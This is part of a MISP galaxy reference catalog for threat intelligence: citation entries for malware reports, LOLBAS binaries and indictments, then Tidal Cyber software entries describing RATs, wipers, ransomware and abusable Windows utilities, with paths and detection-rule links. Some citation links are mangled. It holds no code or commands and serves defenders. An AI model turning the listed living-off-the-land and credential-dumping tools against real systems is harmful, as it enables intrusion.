The tag is: *misp-galaxy:references="MalwareBytes WoodyRAT Aug 2022"*

Table 24190. Table References

Links
https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild

WorkFolders.exe - LOLBAS Project

LOLBAS. (2021, August 16). WorkFolders.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="WorkFolders.exe - LOLBAS Project"*

Table 24191. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/WorkFolders/

AWS DB VPC

AWS. (n.d.). Working with a DB instance in a VPC. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="AWS DB VPC"*

Table 24192. Table References

Links
https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/USER_VPC.WorkingWithRDSInstanceinaVPC.html

Confluence Logs

Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Confluence Logs"*

Table 24193. Table References

Links
https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html

AppInit Registry

Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.

The tag is: *misp-galaxy:references="AppInit Registry"*

Table 24194. Table References

Links
https://support.microsoft.com/en-us/kb/197571

Kubernetes Workload Management

Kubernetes. (n.d.). Workload Management. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="Kubernetes Workload Management"*

Table 24195. Table References

Links
https://kubernetes.io/docs/concepts/workloads/controllers/

fsecure-netsky

F-Secure. (2004). Worm:W32/NetSky.H. Retrieved January 31, 2025.

The tag is: *misp-galaxy:references="fsecure-netsky"*

Table 24196. Table References

Links
https://www.f-secure.com/v-descs/netsky-h.shtml

ESF_filemonitor

Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="ESF_filemonitor"*

Table 24197. Table References

Links
https://objective-see.com/blog/blog_0x48.html

Writing Bad Malware for OSX

Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.

The tag is: *misp-galaxy:references="Writing Bad Malware for OSX"*

Table 24198. Table References

Links
https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf

Trails-DNS

SecurityTrails. (2018, March 14). Wrong Bind Configuration Exposes the Complete List of Russian TLD's to the Internet. Retrieved June 5, 2024.

The tag is: *misp-galaxy:references="Trails-DNS"*

Table 24199. Table References

Links
https://web.archive.org/web/20180615055527/https://securitytrails.com/blog/russian-tlds

Wscript.exe - LOLBAS Project

LOLBAS. (2018, May 25). Wscript.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wscript.exe - LOLBAS Project"*

Table 24200. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wscript/

Enigma0x3 PubPrn Bypass

Nelson, M. (2017, August 3). WSH INJECTION: A CASE STUDY. Retrieved April 9, 2018.

The tag is: *misp-galaxy:references="Enigma0x3 PubPrn Bypass"*

Table 24201. Table References

Links
https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/

Wsl.exe - LOLBAS Project

LOLBAS. (2019, June 27). Wsl.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wsl.exe - LOLBAS Project"*

Table 24202. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/

Wsreset.exe - LOLBAS Project

LOLBAS. (2019, March 18). Wsreset.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Wsreset.exe - LOLBAS Project"*

Table 24203. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wsreset/

wt.exe - LOLBAS Project

LOLBAS. (2022, July 27). wt.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="wt.exe - LOLBAS Project"*

Table 24204. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/wt/

wuauclt.exe - LOLBAS Project

LOLBAS. (2020, September 23). wuauclt.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="wuauclt.exe - LOLBAS Project"*

Table 24205. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Wuauclt/

XAgentOSX

Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.

The tag is: *misp-galaxy:references="XAgentOSX"*

Table 24206. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

XAgentOSX 2017

Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.

The tag is: *misp-galaxy:references="XAgentOSX 2017"*

Table 24207. Table References

Links
https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/

Unit42 Xbash Sept 2018

Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.

The tag is: *misp-galaxy:references="Unit42 Xbash Sept 2018"*

Table 24208. Table References

Links
https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/

xCmd

Rayaprolu, A.. (2011, April 12). xCmd an Alternative to PsExec. Retrieved August 10, 2016.

The tag is: *misp-galaxy:references="xCmd"*

Table 24209. Table References

Links
https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/

xcopy Microsoft

Microsoft. (2023, February 3). xcopy Microsoft. Retrieved July 11, 2023.

The tag is: *misp-galaxy:references="xcopy Microsoft"*

Table 24210. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy

April 2021 TrendMicro XCSSET

Steven Du, Dechao Zhao, Luis Magisa, Ariel Neimond Lazaro. (2021, April 16). XCSSET Quickly Adapts to macOS 11 and M1-based Macs. Retrieved February 18, 2025.

The tag is: *misp-galaxy:references="April 2021 TrendMicro XCSSET"*

Table 24211. Table References

Links
https://www.trendmicro.com/en_us/research/21/d/xcsset-quickly-adapts-to-macos-11-and-m1-based-macs.html

Semicomplete April 24 2015

Jordan Sissel. (2015, April 24). xdotool - fake keyboardmouse input, window management, and more - semicomplete. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Semicomplete April 24 2015"*

Table 24212. Table References

Links
https://www.semicomplete.com/projects/xdotool/

Dragos Xenotime 2018

Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.

The tag is: *misp-galaxy:references="Dragos Xenotime 2018"*

Table 24213. Table References

Links
https://dragos.com/resource/xenotime/

gist Arch package compromise 10JUL2018

Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="gist Arch package compromise 10JUL2018"*

Table 24214. Table References

Links
https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a

CheckPoint XLoader 2022

Alexey Bukhteyev & Raman Ladutska, Check Point Research. (2022, May 31). XLoader Botnet: Find Me If You Can. Retrieved March 11, 2025.

The tag is: *misp-galaxy:references="CheckPoint XLoader 2022"*

Table 24215. Table References

Links
https://research.checkpoint.com/2022/xloader-botnet-find-me-if-you-can/

ANY.RUN XLoader 2023

ANY.RUN. (2023, February 28). XLoader/FormBook: Encryption Analysis and Malware Decryption . Retrieved March 11, 2025.

The tag is: *misp-galaxy:references="ANY.RUN XLoader 2023"*

Table 24216. Table References

Links
https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/

Cyble July 01 2022

Cybleinc. (2022, July 1). Xloader Returns with New Infection Technique. Retrieved May 7, 2023.

The tag is: *misp-galaxy:references="Cyble July 01 2022"*

Table 24217. Table References

Links
https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/

SentinelOne 8 21 2023

Dinesh Devadoss; Phil Stokes. (2023, August 21). XLoader's Latest Trick . Retrieved January 1, 2024.

The tag is: *misp-galaxy:references="SentinelOne 8 21 2023"*

Table 24218. Table References

Links
https://www.sentinelone.com/blog/xloaders-latest-trick-new-macos-variant-disguised-as-signed-officenote-app/

Trend Micro Exposed Docker Server

Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.

The tag is: *misp-galaxy:references="Trend Micro Exposed Docker Server"*

Table 24219. Table References

Links
https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html

Microsoft xp_cmdshell 2017

Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.

The tag is: *misp-galaxy:references="Microsoft xp_cmdshell 2017"*

Table 24220. Table References

Links
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017

xsd.exe - LOLBAS Project

LOLBAS. (2024, April 9). xsd.exe. Retrieved May 19, 2025.

The tag is: *misp-galaxy:references="xsd.exe - LOLBAS Project"*

Table 24221. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/xsd/

Microsoft XSLT Script Mar 2017

Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.

The tag is: *misp-galaxy:references="Microsoft XSLT Script Mar 2017"*

Table 24222. Table References

Links
https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script

Xwizard.exe - LOLBAS Project

LOLBAS. (2018, May 25). Xwizard.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Xwizard.exe - LOLBAS Project"*

Table 24223. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Xwizard/

Linux kernel Yama

Linux Kernel Archives. (n.d.). Yama Documentation - ptrace_scope. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Linux kernel Yama"*

Table 24224. Table References

Links
https://www.kernel.org/doc/Documentation/security/Yama.txt

Red Canary Yellow Cockatoo June 2022

RED CANARY INTELLIGENCE. (2022, June 7). Yellow Cockatoo: Search engine redirects, in-memory remote access trojan, and more. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="Red Canary Yellow Cockatoo June 2022"*

Table 24225. Table References

Links

https://redcanary.com/blog/yellow-cockatoo/

PWC Yellow Liderc 2023

PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved August 14, 2024.

The tag is: *misp-galaxy:references="PWC Yellow Liderc 2023"*

Table 24226. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html

PwC Yellow Liderc October 25 2023

PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved October 25, 2023.

The tag is: *misp-galaxy:references="PwC Yellow Liderc October 25 2023"*

Table 24227. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html

PwC Yellow Liderc

PwC Threat Intelligence. (2023, October 25). Yellow Liderc ships its scripts and delivers IMAPLoader malware. Retrieved March 29, 2024.

The tag is: *misp-galaxy:references="PwC Yellow Liderc"*

Table 24228. Table References

Links
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/yellow-liderc-ships-its-scripts-delivers-imaploader-malware.html

Mandiant APT29 Microsoft 365 2022

Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.

The tag is: *misp-galaxy:references="Mandiant APT29 Microsoft 365 2022"*

Table 24229. Table References

Links
https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft

BlackHat Mac OSX Rootkit

Pan, M., Tsai, S. (2014). You can't see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017.

The tag is: *misp-galaxy:references="BlackHat Mac OSX Rootkit"*

Table 24230. Table References

Links
http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf

Malwarebytes DarkComet March 2018

Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.

The tag is: *misp-galaxy:references="Malwarebytes DarkComet March 2018"*

Table 24231. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/

Cybereason LumaStealer Undated

Cybereaon Security Services Team. (n.d.). Your Data Is Under New Lummanagement: The Rise of LummaStealer. Retrieved March 22, 2025.

The tag is: *misp-galaxy:references="Cybereason LumaStealer Undated"*

Table 24232. Table References

Links
https://www.cybereason.com/blog/threat-analysis-rise-of-lummastealer

FireEye Mail CDS 2018

Caban, D. and Hirani, M. (2018, October 3). You've Got Mail! Enterprise Email Compromise. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye Mail CDS 2018"*

Table 24233. Table References

Links
https://web.archive.org/web/20190508170121/https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s03-youve-got-mail.pdf

Man7.org December 28 2009

Man7.org. (2009, December 28). yum-versionlock — Linux manual page. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="Man7.org December 28 2009"*

Table 24234. Table References

Links
https://man7.org/linux/man-pages/man1/yum-versionlock.1.html

US District Court Indictment GRU Unit 74455 October 2020

Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.

The tag is: *misp-galaxy:references="US District Court Indictment GRU Unit 74455 October 2020"*

Table 24235. Table References

Links
https://www.justice.gov/opa/press-release/file/1328521/download

Sophos ZeroAccess

Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.

The tag is: *misp-galaxy:references="Sophos ZeroAccess"*

Table 24236. Table References

Links
https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf

Volexity UPSTYLE 2024

Volexity Threat Research. (2024, April 12). Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect (CVE-2024-3400). Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Volexity UPSTYLE 2024"*

Table 24237. Table References

Links
https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

Mandiant MOVEit Transfer June 2 2023

Nader Zaveri, Jeremy Kennelly, Genevieve Stark, Matthew Mcwhirt, Dan Nutting, Kimberly Goody, Justin Moore, Joe Pisano, Zander Work, Peter Ukhanov, Juraj Sucik, Will Silverstone, Zach Schramm, Greg Blaum, Ollie Styles, Nicholas Bennett, Josh Murchie. (2023, June 2). Zero-Day Vulnerability in MOVEit Transfer Exploited for Data Theft. Retrieved June 16, 2023.

The tag is: *misp-galaxy:references="Mandiant MOVEit Transfer June 2 2023"*

Table 24238. Table References

Links
https://www.mandiant.com/resources/blog/zero-day-moveit-data-theft

Kaspersky RTLO Cyber Crime

Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.

The tag is: *misp-galaxy:references="Kaspersky RTLO Cyber Crime"*

Table 24239. Table References

Links
https://securelist.com/zero-day-vulnerability-in-telegram/83800/

DOJ APT10 Dec 2018

United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.

The tag is: *misp-galaxy:references="DOJ APT10 Dec 2018"*

Table 24240. Table References

Links
https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion

District Court of NY APT10 Indictment December 2018

US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua

Indictment. Retrieved December 17, 2020.

The tag is: *misp-galaxy:references="District Court of NY APT10 Indictment December 2018"*

Table 24241. Table References

Links
https://www.justice.gov/opa/page/file/1122671/download

Zipfldr.dll - LOLBAS Project

LOLBAS. (2018, May 25). Zipfldr.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Zipfldr.dll - LOLBAS Project"*

Table 24242. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Zipfldr/

Zlib Github

madler. (2017). zlib. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="Zlib Github"*

Table 24243. Table References

Links
https://github.com/madler/zlib

Microsoft Zone.Identifier 2020

Microsoft. (2020, August 31). Zone.Identifier Stream Name. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Microsoft Zone.Identifier 2020"*

Table 24244. Table References

Links
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/6e3f7352-d11c-4d76-8c39-2516a9df36e8

Sysdig Kinsing November 2020

Huang, K. (2020, November 23). Zoom into Kinsing. Retrieved April 1, 2021.

The tag is: *misp-galaxy:references="Sysdig Kinsing November 2020"*

Table 24245. Table References

Links
https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/

Tidal Software

Tidal Software Cluster.

Tidal Software is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

3PARA RAT

[3PARA RAT](https://app.tidalcyber.com/software/71d76208-c465-4447-8d6e-c54f142b65a4) is a remote access tool (RAT) programmed in C++ that has been used by [Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c). ^{[[CrowdStrike Putter Panda](https://app.tidalcyber.com/references/413962d0-bd66-4000-a077-38c2677995d1)]}

The tag is: *misp-galaxy:software="3PARA RAT"*

4H RAT

[4H RAT](https://app.tidalcyber.com/software/a15142a3-4797-4fef-8ec6-065e3322a69b) is malware that has been used by [Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c) since at least 2007. ^{[[CrowdStrike Putter Panda](https://app.tidalcyber.com/references/413962d0-bd66-4000-a077-38c2677995d1)]}

The tag is: *misp-galaxy:software="4H RAT"*

7-Zip

7-Zip is a tool used to compress files into an archive.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="7-Zip"*

8Base Ransomware

The 8Base ransomware operation began claiming significant numbers of victims on its data leak site in June 2023, including organizations in a range of sectors. Researchers have observed

considerable similarities between aspects of 8Base's operations and those of other ransomware groups, leading them to suspect that 8Base may be an evolution or offshoot of existing operations. The language in 8Base's ransom notes is similar to the language seen in RansomHouse's notes, and there is strong overlap between the code of Phobos ransomware and 8Base.^{[[VMWare 8Base June 28 2023](/references/573e9520-6181-4535-9ed3-2338688a8e9f)]}^{[[Acronis 8Base July 17 2023](/references/c9822477-1578-4068-9882-41e4d6eaee3f)]}

The tag is: *misp-galaxy:software="8Base Ransomware"*

AADInternals

[AADInternals](https://app.tidalcyber.com/software/3d33fbf5-c21e-4587-ba31-9aeec3cc10c0) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.^{[[AADInternals Github](https://app.tidalcyber.com/references/643d3947-c0ec-47c4-bb58-5e546084433c)]}^{[[AADInternals Documentation](https://app.tidalcyber.com/references/320231a1-4dbe-4eaa-b14d-48de738ba697)]}

The tag is: *misp-galaxy:software="AADInternals"*

ABK

[ABK](https://app.tidalcyber.com/software/394cadd0-bc4d-4181-ac53-858e84b8e3de) is a downloader that has been used by [BRONZE BUTLER](https://app.tidalcyber.com/groups/5825a840-5577-4ffc-a08d-3f48d64395cb) since at least 2019.^{[[Trend Micro Tick November 2019](https://app.tidalcyber.com/references/93adbf0d-5f5e-498e-aca1-ed3eb11561e7)]}

The tag is: *misp-galaxy:software="ABK"*

AccCheckConsole

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Verifies UI accessibility requirements

Author: bohops

Paths: * C:\Program Files (x86)\Windows Kits\10\bin\10.0.22000.0\x86\AccChecker\AccCheckConsole.exe * C:\Program Files (x86)\Windows Kits\10\bin\10.0.22000.0\x64\AccChecker\AccCheckConsole.exe * C:\Program Files (x86)\Windows Kits\10\bin\10.0.22000.0\arm\AccChecker\AccCheckConsole.exe * C:\Program Files (x86)\Windows Kits\10\bin\10.0.22000.0\arm64\AccChecker\AccCheckConsole.exe

Resources: * https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340 * [https://twitter.com/bohops/

status/1477717351017680899](https://twitter.com/bohops/status/1477717351017680899)

Detection: * Sigma: [proc_creation_win_lolbin_susp_acccheckconsole.yml](https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_susp_acccheckconsole.yml) * IOC: Sysmon Event ID 1 - Process Creation * Analysis: [https://gist.github.com/bohops/2444129419c8acf837aedda5f0e7f340](([AccCheckConsole.exe - LOLBAS Project(/references/de5523bd-e735-4751-84e9-a1be1d2980ec)]</sup>

The tag is: *misp-galaxy:software="AccCheckConsole"*

AccountRestore

AccountRestore is a .NET executable that is used to brute force Active Directory accounts. The tool searches for a list of specific users and attempts to brute force the accounts based on a password file provided by the user.^{[[Security Joes Sockbot March 09 2022](/references/bca2b5c2-bc3b-4504-806e-5c5b6fee96e6)]}

The tag is: *misp-galaxy:software="AccountRestore"*

AcidPour

[AcidPour](https://app.tidalcyber.com/software/ead5e2c4-3b1b-5c0c-b4d6-cbb099b568ce) is a variant of [AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) designed to impact a wider range of x86 architecture Linux devices. [AcidPour](https://app.tidalcyber.com/software/ead5e2c4-3b1b-5c0c-b4d6-cbb099b568ce) is an x86 ELF binary that expands on the targeted devices and locations in [AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) by including items such as Unsorted Block Image (UBI), Deice Mapper (DM), and various flash memory references. Based on this expanded targeting, [AcidPour](https://app.tidalcyber.com/software/ead5e2c4-3b1b-5c0c-b4d6-cbb099b568ce) can impact a variety of device types including IoT, networking, and ICS embedded device types.^{[[SentinelOne AcidPour 2024](https://app.tidalcyber.com/references/f6009712-7c94-5daf-82b4-c269454d6b1e)]} [AcidPour](https://app.tidalcyber.com/software/ead5e2c4-3b1b-5c0c-b4d6-cbb099b568ce) is a wiping payload associated with the [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-f2f45fcfc666) threat actor, and potentially linked to attacks against Ukrainian internet service providers (ISPs) in 2023.^{[[CERT-UA TelecomAttack 2023](https://app.tidalcyber.com/references/dcc61483-f39b-5a37-96b7-a783b69cfa4d)]}

The tag is: *misp-galaxy:software="AcidPour"*

AcidRain

[AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) is an ELF binary targeting modems and routers using MIPS architecture.^{[[AcidRain JAGS 2022](https://app.tidalcyber.com/references/bd4a7b2e-a387-5e1b-9d9e-52464a8e25c9)]} [AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) is associated with the ViaSat KA-SAT communication outage that took place during the initial phases

of the 2022 full-scale invasion of Ukraine. Analysis indicates overlap with another network device-targeting malware, VPNFilter, associated with [Sandworm Team]([AcidRain JAGS 2022 (https://app.tidalcyber.com/references/bd4a7b2e-a387-5e1b-9d9e-52464a8e25c9)]</sup> US and European government sources linked [AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) to Russian government entities, while Ukrainian government sources linked [AcidRain](https://app.tidalcyber.com/software/cf465790-3d6d-5767-bb8c-63a429f95d83) specifically to [Sandworm Team]([AcidRain State Department 2022 (https://app.tidalcyber.com/references/9d514c52-9def-5b11-aa06-fdf3ee9923ed)]</sup>^{[[Vincens AcidPour 2024](https://app.tidalcyber.com/references/742c8a5c-21e5-58d8-a90d-f4c186c0699a)]}

The tag is: *misp-galaxy:software="AcidRain"*

Action RAT

[Action RAT](https://app.tidalcyber.com/software/202781a3-d481-4984-9e5a-31caafc20135) is a remote access tool written in Delphi that has been used by [SideCopy](https://app.tidalcyber.com/groups/31bc763e-623f-4870-9780-86e43d732594) since at least December 2021 against Indian and Afghani government personnel.^{[[MalwareBytes SideCopy Dec 2021](https://app.tidalcyber.com/references/466569a7-1ef8-4824-bd9c-d25301184ea4)]}

The tag is: *misp-galaxy:software="Action RAT"*

adbupd

[adbupd](https://app.tidalcyber.com/software/f52e759a-a725-4b50-84f2-12bef89d369e) is a backdoor used by [PLATINUM](https://app.tidalcyber.com/groups/f036b992-4c3f-47b7-a458-94ac133bce74) that is similar to [Dipsind](https://app.tidalcyber.com/software/226ee563-4d49-48c2-aa91-82999f43ce30). ^{[[Microsoft PLATINUM April 2016](https://app.tidalcyber.com/references/d0ec5037-aa7f-48ee-8d37-ff8fb2c8c297)]}

The tag is: *misp-galaxy:software="adbupd"*

AddinUtil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: .NET Tool used for updating cache files for Microsoft Office Add-Ins.

Author: Michael McKinley @MckinleyMike

Paths: * C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe * C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddinUtil.exe

Resources: * [https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html

](https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html)

Detection: * Sigma: [proc_creation_win_addinutil_suspicious_cmdline.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_suspicious_cmdline.yml) * Sigma: [proc_creation_win_addinutil_uncommon_child_process.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_child_process.yml) * Sigma: [proc_creation_win_addinutil_uncommon_cmdline.yml](https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_cmdline.yml) * Sigma: [proc_creation_win_addinutil_uncommon_dir_exec.yml]([AddinUtil.exe - LOLBAS Project(/references/91af546d-0a56-4c17-b292-6257943a8aba)]</sup>

The tag is: *misp-galaxy:software="AddinUtil"*

AdFind

[AdFind](https://app.tidalcyber.com/software/70559096-2a6b-4388-97e6-c2b16f3be78e) is a free command-line query tool that can be used for gathering information from Active Directory.^{[[Red Canary Hospital Thwarted Ryuk October 2020](https://app.tidalcyber.com/references/ae5d4c47-54c9-4f7b-9357-88036c524217)]}^{[[FireEye FIN6 Apr 2019](https://app.tidalcyber.com/references/e8a2bc6a-04e3-484e-af67-5f57656c7206)]}^{[[FireEye Ryuk and Trickbot January 2019](https://app.tidalcyber.com/references/b29dc755-f1f0-4206-9ecf-29257a1909ee)]}

The tag is: *misp-galaxy:software="AdFind"*

adplus

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Debugging tool included with Windows Debugging Tools

Author: mr.d0x

Paths: * C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\adplus.exe * C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\adplus.exe

Resources: * https://mrd0x.com/adplus-debugging-tool-lsass-dump/ * https://twitter.com/nas_bench/status/1534916659676422152 * https://twitter.com/nas_bench/status/1534915321856917506

Detection: * Sigma: [proc_creation_win_lolbin_adplus.yml](https://github.com/SigmaHQ/sigma/blob/6199a703221a98ae6ad343c79c558da375203e4e/rules/windows/process_creation/proc_creation_win_lolbin_adplus.yml) * IOC: As a Windows SDK binary, execution on a system may

be suspicious^{[[adplus.exe - LOLBAS Project](/references/d407ca0a-7ace-4dc5-947d-69a1e5a1d459)]}

The tag is: *misp-galaxy:software="adplus"*

ADRecon

ADRecon is an open-source tool that can be used to gather a "holistic" view of a target Active Directory environment.^{[[GitHub ADRecon](/references/8ef4bcee-673d-4bab-8e18-947f45c6fc77)]}

The tag is: *misp-galaxy:software="ADRecon"*

Advanced IP Scanner

Advanced IP Scanner is a tool used to perform network scans and show network devices.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Advanced IP Scanner"*

Advanced Port Scanner

Advanced Port Scanner is a tool used to perform network scans.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Advanced Port Scanner"*

AdvancedRun

AdvancedRun is a tool used to enable software execution under user-defined settings.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="AdvancedRun"*

ADVobfuscator

ADVobfuscator demonstates how to use C11/14 language to generate, at compile time, obfuscated code without using any external tool and without modifying the compiler. The technics presented rely only on C11/14, as standardized by ISO. It shows also how to introduce some form of randomness to generate polymorphic code and it gives some concrete examples like the encryption of strings literals and the obfuscation of calls using finite state machines.^{[[GitHub June 26 2014](/references/5a38800a-23df-4fc0-9d1d-1652e1e8f718)]}

The tag is: *misp-galaxy:software="ADVobfuscator"*

Advpack

